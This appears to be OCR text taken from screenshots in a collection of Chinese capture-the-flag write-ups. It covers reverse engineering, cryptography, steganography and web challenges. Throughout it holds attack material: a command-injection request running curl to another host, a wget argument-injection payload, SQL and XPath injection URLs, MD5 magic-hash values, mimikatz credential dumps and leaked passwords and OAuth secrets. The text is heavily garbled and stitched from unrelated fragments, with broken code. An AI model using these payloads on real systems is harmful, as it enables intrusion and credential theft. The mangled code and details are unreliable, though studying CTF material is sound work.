Python 2.7.3 (default, Apr 10 2012, 74 transform.py - Gihcthtransformpy
2 File Edit Format Run Options Windows. Help.
Type "copyright, Meredits® or "li B -
55 name _=—'_main
by Cipher=open ("ciphar, txe, "x)
A5 CDEFGHSHIEGRI, XDLMNLECE HSHIEG) cecipher.zead()
RDQNFJ QK ILGGLDJ AB H CAFCLDGLSG i ‘

enth=len(c

JUACHI CAFOLDJ.

XDLMNLECE HBHIEGAJ AJ UHJLE QB GOL
BRNHRL, CLDGHAS ILGGLDJ HBE CQIUAS
LJ. TQDLOWLD, GOLDL AJ H COHDHCGLD!
GOL JHIL XQD HITQJG HIT JHTFILJ QK
QK LBRIAJO IHBRNHRL, L, G, H HEP Q
L. IAVLXAJL, GO, LD, QB, HBP HB HD!
DHTJ QD PARDHFOJ), HBP 7, LL, GG,
BILBJL FODHJL "LGHQRS JODPIN® DLEDI
LSRIAJO IHBRNHRL GLSG.

23z i in zange(0,len(c)):
= oxd(e[i])>127:
c=c.replace (c[i]+cli+1],chx (chaz) )
chars=1

cipher.close ()
print ¢

a8 goTL

D Decrypto 8.5 build 237, eolson@mitedu
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Solution
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.
Content-Dispesitions form-data name="Bbb
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asdand

- ABL696625103012075185927994

Content-Disposition: fora-data) name-assa”

“orix Ljorder by 16

o B16966251038012075185927994

‘
Content-Disposition: form-data name='ccco’)
Eilanme=- L gy

Contant-Typer text/x-python-seript

tmpore urilis
fmport requests

SO 5
%) =i (el (= ] omaches

X-Powored-By FEF/5.¢,12
Expires: mhu, 15 fiov 1981 08452400 GUT

Cache-Controls no-store, no-cache, must-revalldats, post-sheck=d, pre-cheskso

Fragnai no-cache
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Sat-ookial admin nidell; xpires-Sat, 26-MAr-2015 06125142 GHT) pathe/)
domnine.alicet.con

5et-Cooklsr admin s1gn=ITKIMDASOTRIY2YANDISIO\IDNID) explres=sat, 28-Har-2015 06125142
Ghr) path=/) demain=.alictf.con

Set cookiar admin pie-izei explresssat, 26-Mar-1015 06125142 GRT) pathe/s

domalne. alicet.con

Locations

\adnin_gisht fintisn meiyou chizasfan.phprtoken-aliai3f5145120n1base]s6sbebbaT5d
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Connaction: Koap ALiv

Comtent-Typs: text/himlicharser=ure-s
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e
Chets charseesruetgis
S1ink href="../dist/csa/style.cue® rel= atylesheat™>
<link hrafr../dist/oss/bootsirap,cast relavscylashast >
<link hrefr. /dist/css/bootetrap-rasponaive.ces’ Tale-styleshset=>
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body {
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[ = ) ) e omaches
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Stest-s GET['test']; Stest-mds(Stest);
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€ @ localhost/test/fuck.php?log

INT ~| = squ xss Encryption- Encoding: Other-

@ Load URL | httpi//localhost/test/fuck phploginstr=%2561%2564%256d%2569%256e=]
% splitURL

o Execute

[¥] Enable Post data [ 7] Enable Referrer

Post data password[l]=haha

string(17) "%61%64%6d%69%6e="
array(1) { [*admin"]=> string(1)
string(1)
string(2) "\

-5 5 i 19 -

Warning: Illegal string offset 'username’ in G:\xampp\htdocsmg g, Ei i'q LSE
string(1) "\" w

array(1) { [1]=> string(4) “haha" }
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return sen_post(&stru_g2200
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Following on from Opabina Regall - Token Fetch, this chalienge istens on
¥ added-and- resaved-hare. ¢ Teompet LtLan, Can; 20891

To ensure that your code works as expected, you should use the following test case:

chi = Calcpass(*Mufasa”, "testrealnghost.can*, "Circle Of Life*
AF chk 1= "6629fae49393005397458978507cdefL”

your_calcutation s incorrect();
)

— .
‘Addtionally, you should format your Exchange Weaders such as:
v.Key = proto.String(“Authorization®)

v.value = proto.String( Digest username="irfaca® realn="testreal
p— B
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v0 = 0;
vl = (signed int)&g_flag 0;
do
{
v2 = *(&buffl 0 + v0);
v3_j = 0;
do
{
vd = 2 * v2 + *(_BYTE *) (vl + v3_j++);
v2 = v4;

}

while ( v3 § <
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#* Usernane : LateRain
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# Password : <TAB><SPACE>
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+ Domain  : WIN-ROK984SEFOT
# Password

kerberos :
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+ Password : <TAB><SPACE>
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10 = *(_DWORD *)_readfsdiord

BYTE2(Buffer) += vie;

BYTEL(Buffer) = v18 + 111;

&= ZuCreateFile(8FileHandle
(51 = '0's

LOBYTE(Buffer) = _ readfsdiord

v14 = (int)
*5_@abm.amnhu;
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public function filter($string) {
————¢gescape = array('\"'', "\\\\');
—————%escape = '/' . implode('|', $escape) . '/';

——$safe

$string = preg_replace($escape, '_', $string);

array('select', 'insert', 'update', 'delete', 'where');

————¢%safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

——public function __tostring() {

}

return-_class__; 2 .
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In [24]:
In [35]:

In [26]:
Out[26]:

In [7]):

In [26);
Out[2e]:

In [29):

In [3]:
Out[36]:

In [31]:
Out[(31]:

In [3):

result=""
for i in range(len(s2)):
resulta=chr(ord(s2[i])-ord(key[i1)+97)

result
" Jygv_iTXOKSef "

keyz="MUCTCLCTFSE?"

TenCkey2)
13

key2s="\xic"

TenCkey2)
14

key2
" MULTOLCTFBF7AXIC!

o0 350.
S3aresult bobao380.cn )
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Burp Intruder Repeater Window Help

Target | Proxy | Spider

(5«17 [oml-|

v B |

Request

Scanner | Infruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

Raw | Params | Headers | Hex

GET /login.php?gongwan=1] curl "hitp/172.17.1.3/fucktion php?page~/etc/hitpd/logs/access log" » /tmp/smd HTTP/1.1
Host: 218.2.197.236:2001

Proxy-Connection: keep-alive
Accept: text/htm application/chiml+xmlapplication/xikq=0.9.image/webp,*/%q=0.8

User-Agent: Mozlla/5.0 (X1 1; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0,1750.152 Safari/$37.36
AcceptEncoding gzip.deflate,sdch

AcceptLanguage: en-Use 2h-Chig

= T
Response.
Raw | Headers | Hex

HTTP/1.1200 OK

Server: ngin/1.4.7

Date: Sun, 06 Apr 2014 06:02:18 GMT
Content-Type: text/html: charset-GB2312
Connection: keep-alive:

X-Powered-By: PHP/5.4.26
Content-Length: 39

1love you.And you?Then hack me please.
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ug = x(ull + 12);
2 = &irp->Associatedlrp.MasterIrp->Type;
V10 = =(ut1 + 8);

i ( u8 == 2236420 )

<

va
i

duord_10F80;

duord_10F84;

duord 107885

6 = dword_10F8C;

7 = duord_16F90;

For (1= 85 1< 55 ++i)
»(&v3 + 1) "= ww0;

Uik = sub_10950(&v, 20);

if ( Uik == —1276902268

<
duord_10F80 = ui;
duord 10F8Y4 = v
duord 10788
duord_10FSC
duord_10F90 = u7;
KeSetEvent (eObject, 8, 8)

3

else

<
DbgPrint(“Hint:This value is a widely used hex value in computer science.\n");
DbgPrint("it consists of tus words OF 4 characters with hex letters of ‘A’ to 'F'(inclusive).\n");
DbgPrint(“The First word has the same meaning as \"deceased\"\n");

DbgPrint(“The second word represents a kind of meat.\n");
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- int _ cdecl update_number_80491C@(int index, int number, history_in-

{

signed int result; // eax@4

if ( index < @ || index > history_buff->count )
{
result = 0@;
}
else
{
if ( (history_buff->canary * history_buff->count) != rand_val )
{
puts("[*E*] Overwritten detected!");
exit(0);
1
*((_DWORD *)&history_buff->number_buff + index) = number;
result = 1;

i 3502

(bobao380.cn )
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% AESEncrypt(String, String) : Bytell

5% buttont Click{Object. EventArgs) : Void
4@ button2 Click{Object. EventArgs) : Void
5 Checkitey() < Boalean

4 Dispose(Boolean) : Void

5% InftiaizeCompanent() : Veid

29 ltestl) : Void
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98C10 5048 2014/12/07 224441
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Offset 01234567 89 ABCDEF|] -
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QueryPerformanceCountar
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00000000000000000000000000000000000000000000000000000000000000000000000000000000)
00000000000000000000000000000000000000000000000000000000000000000000000000000000)

00000000000000000000000000000000000000000000000000000001100000110011111100111111
110001111110000011100001111111101100000110111111110011111111000001 1100001100001 1
00110000011011000011011000001101100001 10001101 1000000110000110000011011000001101
1000001100011011000011001100011000001101100000001 1000001 1011000000001 10001100000)
11000011000001101100000110110000011001100011000011110000111111111001111110011111
11100011111100110000011000011000011000001101111111100110000011011000001100001 100)
0001100000110000000110110000011000000011011111111100001100001 100001 101100011000
110000011011111111100001100000110000011011000011011000001 10110000110110000011000)
01100001100000110110000110011000001101100000110000110000011000001100111111001111
11110001111110011000001100001100000111111100110000011011111111001100000110000110)
00000000000000000000000000000000000000000000000000000000000000000000000000000000)
00000000000000000000000000000000000000000000000000000000000000000000000000000000)
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C:\Python27\python. exe C:/Users/ASUS/Desktop/miscl00-1.py
Decrypted:’ zctf (Sweep. The World}'

i

i Process finished with exit code 0
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_init proc

printt

_libe start main
setbut
_alarm

_term_proc

printf

23
21|
25
26
27
28
29
38|
a1
a2

® a3

an)
a3
36
a7
ke
39
8|
u

2
3
P
15
16
a7,
18
9

puts(

printf(“Ginme the key sequence

while ( _isoc99_scanf(“Zlu",
u1h += 095

16 = (unsigned _int16)u10;

11 = (unsigned _int16)u1;

For (1= 85 1 <= 155 e+

<

iF (i e )

a09)

ey man, could you help me decrypt some data’

BLL);
-1

puts(“Nott This combination doesn't meet the requirements

s
vt = 15
»
iF (s 1=3)
<
exit(8);
»

puts(“0k, now let me check your combination.

For (= 0; ] <= 55 0] )
vord_662080 1] = u16;
ws(

12 = word_662080;
for ( k= B; k <= 215 ++k )

yuord_662688, 22LL, (L intH)Rs1);

byte_6620C0] (signed _SAEBI)K] —= =((_BYTE )01z + k)3

if (
<

puts(“Alright? t's correct:

emcnp(&:1, &unk 69208, 16uLl) )






OEBPS/Images/d1606232d238d896441be46cbb4e58d7.jpg
C' || bb525ac59.seclover.com/user/ X

[flag 3 ~ s

render template string import os import json import datetime import Lrlio import fe import time import hashio #impor
imarme[os path.abspath(_file_) DEBUG = os.nome ==t if DEBUG: WEBHOME = nttp://127.0.0.1/' else: WEBHOME =

', base_url="https://api.github.com/’, access_token_uri="https://github.com/login/oauth/access_token',
160ed929c3090(713037435¢1176190cc46194e1', ) opp = Flask(__name__) opp.debug =

i coding: utt8 - from flask mport flask aoort fequestsession redirect
{ threading from rauth.service import OAuth2Service BASE_DIR = os,paih.
//6525Gc59 seclover.com/ github = OAuth2Service[ nam:
rize_url="hitps://github.com/login/oauth/authorize’, client id='6ad5ab3c971c740aa1é4’, client secret=

ecret_key = sfkgisiotu2rdskiinpwadrwrehnoqwd0izruruogh?723ymiinkdil of Fcn =(1 an', SSCTF{dC28c3969705824139240e06463C2040)  nti:/ fwww.seclover.com/wp-
ni/ugloods/2013/07/log.0ng) # applostia ~ | # applock = irreading Lockl] getnewid(: # appiiock acgliral) # applostidr=1 # newid = appiastic # applockrelecsal] # ralum newid
Sri{name ichpIC]  newic - getnewlal) # appusel mewid] - (home aoic) b ot e § el otna{aser i ser.get( d.} userinfo # ret

: 4 Userinfo = op er_id) # if userinfo: # refurn suser

bfind_uid{uid): # for uin opp.user: # if opp.user(ul[11==uid: # retum (U *0pp.user[ul # return None # app.docon = sqited.connect(“memory:", check_same_thread=False) # opp.dbcur =
fbcon. cursoré# cpp dbcrexeculescrptl! CREATE TABLE usor”( # 1 INTEGER PRIVARY KEY AUTOINCREMENT NOT NULL # 'name" TEXT, # "LIdTEXT, # pIC T ‘CREATE UNIQUE INDEX "
(0" ASC]; # CREATE UNIQUE INDEX “uid" # ON "user” ('uid" ASC); # ) # def dbinsert{name,uid,pic): # sal = "INSERTINTO "user” 'name’ "wid!", pic’) VALUES (72,7]:" # app.dbeur.execute(sal, (nom:
> dbcon. commit() # retum app.dbeurastrowid # def dbfind(User_ic): # sql = "SELECT * FROM “User’ where id = 7" # rows = app.dbcur.execute(sal, (user_ic,)| # for idname.realuid pic in rows: # re
me realuid,pic) # returm None # doinsert( howmp',uid', http://www.séclover.com/wp-content/uploads/2015/07/logo.png)) @app.route(/user/') def user]
jon.pop|(infa’) retur ‘please login first.

: Userinfo = session.getlinfo' if not useri

e

User_id,name realuid,pic = userinfo if user_id == 1: user_id,name fealuid pic = eup.mn nome =strlname) pic = sir(pic) template =

nome +*
realuid }}
ser_id )} #template +=u"

secret_key)' return render_templote_string(template.*(dict(glonals(), “*locais()))) @opp.route(/) def index(: def _link(): params = {redirect_ur': WEBHOME+ calloack} icon =

github.get_authorize_url(**params}, icon) htm! ="" %slogin
)l Gt Triicr ey evNEE Bkl MR b reabiarry il Bty rést itasl' T rdiisnicd?) daf walln kil rada & raalatt arde catl cadaT B rat e mihnitldDY | Hesti
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recu(client_fd, recy_!
pointer = recy |
7 = KeyArray[0];
i = KeyArray[1];
2 = KeyArray[2];
iD= KeyArray[3];

> 8x21u, 0);

do
<
a7 = 2; /¢ TEACipher
39 = pointer; 14 FH I recy_buk
do
<
11 = OxCOEF720;
w12 = *=(_DWORD *)u39;
w13 = *((_OWORD *)u39 + 1);
do

<
Y18 —= (U1 + ¥12) T (UAB + (V12 3> 5)) T (uh2 + 16 % vi2);

Y12 -= (18 + u11) S (uhkk s (18 3> 5)) © (uh7 + 16 x via);
V11 += Ox61C886NT;

>

while ( vil);

vl

uag

vis

=(_DHORD =)ulh = u12;
*(C_OUORD =)uth + 1) = viz;
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B ol Mk
$ openssl rsa -in public.key -pubin - modulus - text
Public-Key: (2048 bit)
Modulus:
00: 94: 0: 3e: 6e: Oe: dc: £2: 74: 10 52: ef: Te: ea: a8:

89: db: 51: db: Se: 90: 92: 48: fd: 39: Oc:
70: 87 £3:33: 1c: ba: ¢5: 61: €2: ce: 2c!
5a; f1: :46: 911 56: b6: 19; d5: d3: b2; ab:
bb: a3: 4d: 7e: 4c: 2: aa: 60: 7b: 3e: c8:
fc: 90: 53: 18: 5b: a2: 30: 10: 60: a8: 21:
ab: 61: 67: 1b: 4d: cd: 66: 4c: 7d: F1: 1a;
2a: 1d: : 5e:45: 12; 3a: ba; 4a: 53: 64; d8:
72:0%: 55: 02: e8: 8e: 56: 4d: 38: 70: a5:
16:36: 2f: ae: 21 31: 58: ba: 00: ab: ac:
c0: ¢5: : 70: 56: 01: 6b: 57: £5: d7: 52: 7.
31:56: 8d: ad; 08: 22: a9: 1f: cb: 6e: 49;
cc:01: a3: a5: 97: e5: 10: 49: 19; 7: 69;
d9: 3b: 00: 18: 60: cc: 69: 1a: 06: 64: 3b:
86: 94 : fc: 54: 6b: 06: 23: 43: 2d: bO: 20:

: €5: d8: 9a; 84: bb: 30; 46:

2

00111

58BA00AB;
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phithOn 7 (EthARamsd #7F #) < | 2015-05-05 12:23

i

J @NaiBa @Annabelle @D&G
MD5 ("240610708") = 0e462097431906509019562988736854
MD5 ("QNKCDZO") = 0e830400451993494058024219903391
TETEESERITH0exxx , BAEAFEHE0*1089nRS iy, QCPIJLSE
FRLATEEESREma=E20 , FrESHL - = 5 W i -
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s e, ] Wl
DocumentTD="xmp. did
OriginalDocumentID="xmp.did:

o el i Syl
afeadd3-3c83-2d43-9da5-cBF67BbB34ad”
afeadd3-3¢83-2d43-9da5-cBF6fEb834ad” photoshop:ColorMode="3"
bshop: TCCProfile="sRGB TEC61966-2.1" dc:format="image/jpeg”> <xmpM:History> <rdf:Seq> <rdf:1i
s ~"created” stEvt:instanceID="xmp.iid:fafeadd3-3c83-2d43-9da5-CBF6FODE3dad"
StEvt:softwareAgent="Adobe Photoshop CC (Windows
:b87042de-8708-bed3-83af-8851384ad 34"

/> <rdf:li

sshop L
>shop:

> <X XWpmEtas
.mntrRGB XYZ

. .vued.
PO
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B0N01INF edx, eax
00401151 snort 00461138

xuDu
00401158 cmp  word ptr [OxMOFICO], ax
Suustief || L oFes 2aerchslgne  oaastoar
oouoi16s|| - 833D CEFtug0lcmp  duord ptr [OxMOF1CE], 0x28
oouorisc|| . oFe2 1561000] jb 00401287

‘eax=0000300E
Junp from 00401128

GOLTBICA|FF FT FF FF|FT FF FF FF|FT FF FF 0T
041B100| FF FF FF FF|FF FF FF FF|FF FF FF FF
041B1E0| FF FF FF FF|FF FF FF FF|FF FF FF FF
041B1F0| FF FF FF FF|FF FF 52 [l 68 86 EQ CC
9841820618 17 70 A3|2 47 87 63|88 7a 87 43
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error query:Duplicate entry *SCTF {x55_And Salinject}0.1° for key *group_key’

7N m2pE
SecPulse
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Seclreg.setEnv(this.seclreg, Des.encrypt (this.seclrsg.getReso
this.seclreq. getResources () .getString (2131034121))) ;
if(Seclreg.getEnc(this.seclreg) == mull) {
return;
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root@kali:/opt/outguess-0, l,n,rig# ‘/outguess SUA| ‘/r‘uot/Desktop/webﬁl
min './key.txt'

Reading /root/Desktup/webGI jpg.

Extracting usable bits: 10864 blts

Steg retrieve: seed: 191, len: 92

root@kali:/opt/outguess-0,2.orig# cat key.txt

ed6c3eb356395a1 f76ccb47241e3d88:081603b51a8ea50bcc7707896c93518

you can guess.what's this?root@kali:/opt/outguess-0.2.orig# I
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Y Ftop § echo SZubSY42612)50615YWo" | bas
4 M2 £ wabrsyeTnkSecs /beskion § SHOZLHBIR ( bobao.360.cn )
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<?php

$host = '127.0.0.1";
$user = ‘msgboard’;
$pass = 'PAsswdrd@msgboard’ ;

$db - "msgboard”;

mysal_connect ($host, $user, $pass) or die(mysql_error());
mysql_select_db($db) or die(mysql erron());
mysal_query(“set names 'utf8'");

£33

<?php

$host
$user
Ypass = 'PAssward@drug’;
$db = ‘msgboard';

mysql_connect($host, $user, $pass) or die(mysql error());
mysal_select_db($db) or die(mysql erron());
mysql_query(“set names ‘utf8'");

22 36022448 ( bobao360cn )
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void *__cdeel read memory_sub_8048C86(int al, size_t n, int a3)

L

size_t w3

vold *result; ' eax

void *dest; S

size t 1, sp bp—Ch

if’( a3 |

¥ =-n t 1

else

dest = malloe

¥3 = n

if ( dest )

{

memepy (dest, *al, n!.
*al += n;
if ( a3 )
{
+(dest + n) = 0O;
for: i = dests Cdest + n) & s =i

{
if 1 )
i1 = 32;
il
i
result = dest. Lyvr,| %EEE;%I;HS_E
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ef mainCargv):

glebal stinestamp

stinestamp = intCargv[Z])

rand = SecureRand()

key = GenerateRSAKey(4295, rand)

LF key.n == 610922620337786911306761888737
printC'Found! |1 + str(stinestanp))
cert = Signkey(key, argv[11)
keyfile = "%s.key" % argv[1]
openCkeyfile, "w").writeCkey. exportkey
print "Wrote key
certfile = “s.crt
open(certfile, rt
print "wrote DIOG.@POGCNe

retirn 9

cert)
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[Nt ~| = & sqQi- xs5- Encryption- Encoding= Other-
@ Load URL  http://115.29.144.129/
& split URL
2 Execute
[¥] Enable Post data || Enable Referrer
Post data

args[|=s%0aargs[}=wget8args[]=2032836944%0a

s wget2032836944
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-« $auth = false
LAf (isset (5.C00
KIE["auth])) {.

$auth = unser
1alize (§_COOKTE[
“auth]);.  $hs
h = §_COOKTE["hs
K1 if ($hsh
nd5 (§SECRET
. strrev(§.Co0K
B[ auth]))) {

//$SECRET is
an 8-byte salt.

$auth = fals
e Llelse {
$auth = false

$5 = seriala
ze(fauth) ;. set
cookie("auth”, §
s)i. setcookis(
hsh"; md5 (§SECR

Ve
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{wabasy€iInkSec:

0000100000100001100000009010000010000
000010111010010011110010010111010000
000010111010000111101100101011110000
000010111010101011110010010111010000
0000100009100011111011111010000010000
0000111111101010101010101011111110000
0000000000001001101100010000000000000
000001100111001001010119110100000000
000001110100010010010101011100110000
0000100111110010010011111010010100000
0000111101011101100010101010000000000
000010010110010010101111101101000000
0000010100001010010100011110010100000
0000110001111011001010110101110110000
0000001110011011001101000000010000000
0000010100101111100011000000100000000
000001010100011111000101010011000000
0000101110111001001101101100100000000
00000010110910111111010111011110000
0000011110111111100100911111101010000
0000000000001000100111111000100010000
0000111111101110011011011010111000000
0000100000100000111100111000100110000
000010111010000110110001111101000000
0000101110101110000100101109111100000
0000101110101010101100010011000010000
0000100000100110010001100011010100000

esktog/picl § python picl.py

360224818 ( bobao.360n )
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Username 1SCC2014

Senial C9841-4FF72-14430-D82EF B6AC2
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var a=new Array(58,128,178,205,200,226,153, 178,265,200, 195, 197,213,225, 209, 155, 156, 150, 134, 117, 98,97, 181,177 )5
var benew Array();

b18]=316];

For(var <a.1engtn;is+)plil=al1]-bli-11;}

For(van 1=6i<b. lengeh; ive){b{1]=String. franCharCode(bIi1);}
3

5 TRnY

wIn, wSw, ver, gy, mav, vew, v,

L7, TETy TR, TETG

[vin, En, mLe, van, vgw, wgn, wEW,
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sub_43B7ED
sub 438840
sub_4388A0
ub_438900
sub_438960
sub_4389C0
sub_43BA11
7] TisCallback 0.0
7] TisCallback 1.0
sub_438890
sub_438C10
sub_438C80

Z
Z

Z
Z
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o eex
lea eax,duord ptr ss:[ebp-0x10]
mov edi,esp
nov duord ptr ss:[ebp-8x1C],esp
T eax
Lo eex
nov ecx,esp
nov duord ptr ss:[ebp-6x1C],esp
nFcEncry . 0046300C
L o aHEGU2 W57
O edi
&1L mcEncry. 06481100
add esp, oxC
lea ecx,duord ptr ss:[ebp-0x18]
L eex
nFcEncry. 60461580

nov ecx,duard

T eax

L eex

BEE aword ptr ds:[CRNSUCRT._mbscupd ]

add esp, 618

lea ecx,duord ptr ss:[ebp-0x18]

test eax,eax

sete bl

Al <jnp . RFCH. 4806>

test bl,bi
mFcEncry . 00451811
XmFcEncry . 00461771
AmfcEncry . 00401771

db E8

T

- ds:[esisOxon]

ROSUTE™

52
s1
abscmp

eax=0012F89C

TETE ds:[0612F89C]-003738A8, (ASCIT “ROUNPELETaJT E hene’

360%248R ( bobao.360.cn )






OEBPS/Images/a471ed179bfdd7d1beb0c9b0be1efa5c.jpg
= LTr VL Q.PYy
4 ¥ ctf python q.py
4+ False
_ False
False
, False
False
; False
¢ False
= True 7
2 True 8
c False 9

e 10
alse 1% =
alseci2llse 3602: 24858 (bobao.360.cn)

OUAWNRES





OEBPS/Images/2ab708dd44ee85e7ca1f7eb5dda1ad54.jpg
&

) demodugam1sm
] OfbMdemom

|| qami6asy

BHEW

2008/572 16
200977718 ¢
2015/5/217
2009/7/18¢
2009/7/18¢
2009/7/18°¢
2000/7/18¢
2009/7/181
2009/7/18 1

17 ( bobao360.cn )





OEBPS/Images/201603190908458.jpg
1v |<?php

2 -require_once('class.php');

3 iT($_SESSION['username'] == null) {

4 die('Login First');

5 &

6 $username = $_SESSION['username’'l;

7 $profile-$user->show_profile($username);
8 if($profile == null) {

9 -header( 'Location: update.php');

10 -}

11w else {

12 $profile = unserialize($profile);

13 $phone = $profile['phone’'];

14 $email = $profile['email’];

15 $nickname = $profile['nickname'];

16 $photo = base64_encode(file_get_contents($profile['photo']l));
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private bool CheckKey()
(

string str = this.textBoxL Text ToString(;
string str2 = *DIOPFYSTPOX61YTtUkmaY
retum (str == str2);
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int __fastcall odd_process(char xinput)

int 43 7/ [sp+16h] [bp-10
int input_len; // [sp+ish] [bp-chiet

1ength (&input_flag);
LT ++i )

105
t[i] >> 3) | 82 = input[i];
0x17;
L[i] > 0x2Du & inpui[i] <= 0x37u
t[i] += 28;

return sem_post(&stru_6022a0)
EG;

> 5 ( bobao350en )
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0x0040072T  4B9E cdge

(x00400731  488d48 Tea rex, [rax - 1]

0x06460735  488bASe8 mov rax, aword [rbp-local 3
@x08400739 4801c8 add rax, rox

0x0848073¢  Bfb6YY movzx vax, byte [rax]
0x0BA00731  B8B2 mov byte [++], 2l

0x00460741  8bAsed mov 2ax, dvord [rbp-local_3 4]
0408400749 2b4Sfc sub eax, dword [rbp-Llocal 0 4]
0x00460747 89c2 mov edx, eax

O40BA00749  8b4Sed mov eax, aword [rbp-Local 4]
0x0048074¢ 89ct MoV 2cx, eax

@x0840074e cle91f shr ecx, Oxif

0x00480751 01c8 add ‘eax, ecx

@x08400753 difs sar eax, 1

Bx00460755 29c2 sub ‘2dx, eax

@x08400757 89d0 mov eax, edx

0xD04680759 4898 cdge

@x0B40075h 488d50 lea rdx, [rax - 1]

Ox00460757  488bASe8 mov rax, avord [rbp-local 3
@x08400763 4801c2 add rdx, rax

OxbBaceras ofbe4asth movzx eax, byte [rbp-locsl 6.5]
0x0BA00763  B8G2 mov byte [++], 2l

0x0046075c  8345Fce1 add dword [rbi-local 041,

7 NP XREF from 0x00400645 (fcn.0Bd00645)

0x004680778 8b4sed mov ¢ax, dword [rbp-local_3 4]
@x08400773 89c2 MOV edx, eax

0xDO4607IS5 clealf shr edx, 6x1f

000400778 01do add eax, edx

0xDo4geTia  dife sar @ax,

3bdsfc <np gax, dvord [r 5
9%0B40077f  BF8FT2 11 g Gx400677
0x00400785  5d pop rbp
0x00400786  ¢3 a0

F&PULSE.
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sub_4OF350(u6, U7, 016, UiN);
BUG();
C16LL * 06 | (%(u15 + u17) >> )5
<
sub_4OF350(u6, U7, 016, UiN);
BUG();
¥
XI5+ 17ee) = 0
¥
while ( 016 > vi7 )3

>
i ( go20 == -84 )

*8029 = 8v29;
LODVORD(v15) = (loc_42886C) (2929,
*8020

i€ tuin )
M-
v21 = vis;

result = OLL;
if (019> 08)
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private void buttonl Clickiobject sender, EventArgs ¢)
(
string text = this.textBoxL.Text
string str2 = Encrypi(text);
if (text 1= ") B8 (512
t

SXeCop/mrlgalyq3F7a s

MessageBox.Show(" R 7 | KEVSURIREAISES", "BI3T, MessageBoxButtons.OK, MessageBoxlcon Asterisk);
)
else
(
MessageBoxShow ("B | BESEE" + str2, "SI, MessageBoxButtons.OK, MessageBolconHand);
this.textBox1,Text = ™
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retumn%20titletojson(db.userfind0I0]))//

Portfolio  Services News Team

d" : ObjectId("56cbcf6d3a677¢17278b456d"), "username” : “admin”, “password” : "*298*hjhjyu”, "email” : "loverctf@126.com”
}

Lorem Ipsurn is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard durmmy text ever since the 1500s

£

when an unknown printer took a galley of type and scrambled it to maks

type specimen ook
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tips:
1, Congratulations for you !You finished 80%,Come on continue!

2, token=md5 (md5 (username)+salt) salt max lenght is 5(hexs)
3. Add the Money Get the Flag
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File: [GithetfbabyCrackbabyCrack.exe

Entrypont: Q0G0 e secton: [t
FleOffet: [GOODIASE FrstBytes: 25,00,
T Subsystem: Vins2GU |

Ficrosoft Vaual = Base RET
[ Mitiscan | [ TeskViewer | [ optorns | [ about | [ et
¥ stayontop 2]
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_show();
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flag[6] =

V10 = *(_I uwoxn *)_readfsdword(@x3C); £ MR B NI E S A E A rsE , R BRMPCR

BYTE2(Buffer) += vi0; /7 Buffer[2] = 'y'; Buffen[2] 4= vl

BYTE1(Buffer) = vi0 + 'o': // Buffer[1] = Vies'a

vi1 = ZuCreateFile(8FileHandle, 0x40000000u, SObjectAttributes, &loStatusBlock, 0, @xB0u, ©, Su, Ox20u, ©, 0);

flag[5] = 'D'3

LOBYTE(Buf: = __readfsdvord(@x20) - (unsignad int)KeGetPer() + @x22;// Buffer[9] = xaz ..  5360RZHEE (bobao3G0cn )y
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=6 or count(//user)=5(ffiiAuser¥i FAF1E)

http://eto.sctf.xctf.org.cn/?action=user&id=6 or
count(//user/password)=5(ffi i\ password 7 E&

17 4£)

http://eto.sctf.xctf.org.cn/?action=user&id=6 or
string-length(//user[1]/password)=32 (ffiik
YeWenjie )% id£3241)
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int __cdecl sub_481800()

¢

signed int i3 7/ [speon] [bp-18nj@1
char v2[20]3 7/ [Sp+un] [bp-14n]@s

for (i 08; i € 195 ++i )
V2[i] = oFf_489030[47 * i % 100];
return sub_sg1129(gunk_4092CC, 1);
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eae I final.pcap
A W 7 ER QesEF I H QQQ
ilfemecomtainepsss o

No. Time Source Destination ___ Protocol __¥_Lengtn info
506 35.712186  222.25.140.. 222.25.148.. TCP 66 [TCP segnent of a reassembled POU)

Frame 506: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet IT, Src: AsustekC_24:83:cb (74:d0:2b:24:83:cb), Dst: Compalln O 1 (b8:88:e3:9f:7d:01)
Internet Protocol Version 4, Src: 222.25.140.118 (222.25.140.118), Dst: 222.25.140.37 (222.25.140.37)
Transnission Control Protocol, Src Port: 56600 (56600), Dst Port: 6881 (6001), Seq: 1, Ack: 1, Len: 12

530 b8 88 e3 Of d O1 74 40 2b 24 83 cb 08 00 45 00 ......t.
0016 0 34 4C 9 48 00 40 86 18 fc de 19 8C 76 de 19  .4L.@.G.
9076 8c 25 dd 18 17 71 33 83 dc a2 bd e9 bf df 50 18 .%...q3.
0030 40 27 a8 fd 00 00 70 75 74 20 70 61 73 73 2e 74 @'....pu t pass.t
soae 78 74 xt:

(boban380.cn )





OEBPS/Images/5cf6be5360eb0bfc1130566a0d5a37e2.jpg
</head>
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{center>
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int _ fastcall validate(uoid xat)
¢
int result; // eaxan
signed _inteh i3 /7 [s

[bp-1eniat

sen_vait(&stru_60220);
sen_uait(&stru_60220);
For (i = WLL; LOBYTE((Rcipher)[1]); ++HIDWORD(i)
<
if ( LOBYTE((&cipher)[i]) t= *(i - 4LL + input_flag_addr)
return printf(“Ervort \n", i, i);
LODWORD(i) = 1 + 15
>
if ( (i - BLL + input_flag_addr) )
result = puts(“Errort");
else
result = puts(“Rightt");
return result;
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Output

Executing template */Users/wabzsy/Docunents/SweetScape/010 Templates/JPGTemplate.bt' on */Users/wabzsy/Desktop/picl.jog’ ...
Start of Inage Marker

Start of Scan Marker

End of File Inage

CIBE = Find [ FindinFiles (2 Compare Histogram [£] Checksum S Process

Selected: 4 bytes (Range: 10784 [2A20h] to 10787 | Start: 10784 [2A20h] [4h]
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int _cdecl sub_48184F (const char =Str2)
<
int result; // eax@s
signed int i3 /7 [speon] [bp-18h1@1
char Stri[26]3 /7 [Spsan] [bp-14h]E3

For (i =831 <195 ++i )
Stri[i] = off_409030[47 * i % 991;
if ( stromp(Stei, Str2) )
resull = sub_4OM29CEFRBET N, )3
else
Fesull = sub_461129(aunk

20C, 1)
return result; 'éctoumm
¥ .COM
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Burp Intruder Repeater Window Help
Target Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

1l

Filter: Hiding CSS, image and general binary content | D ’

# Method | URL Params | Edited | Status | Length | MIME type | Extension | Title

POST /hack_game/Be3096620b9a88d 1/check.php HTTP/1.1

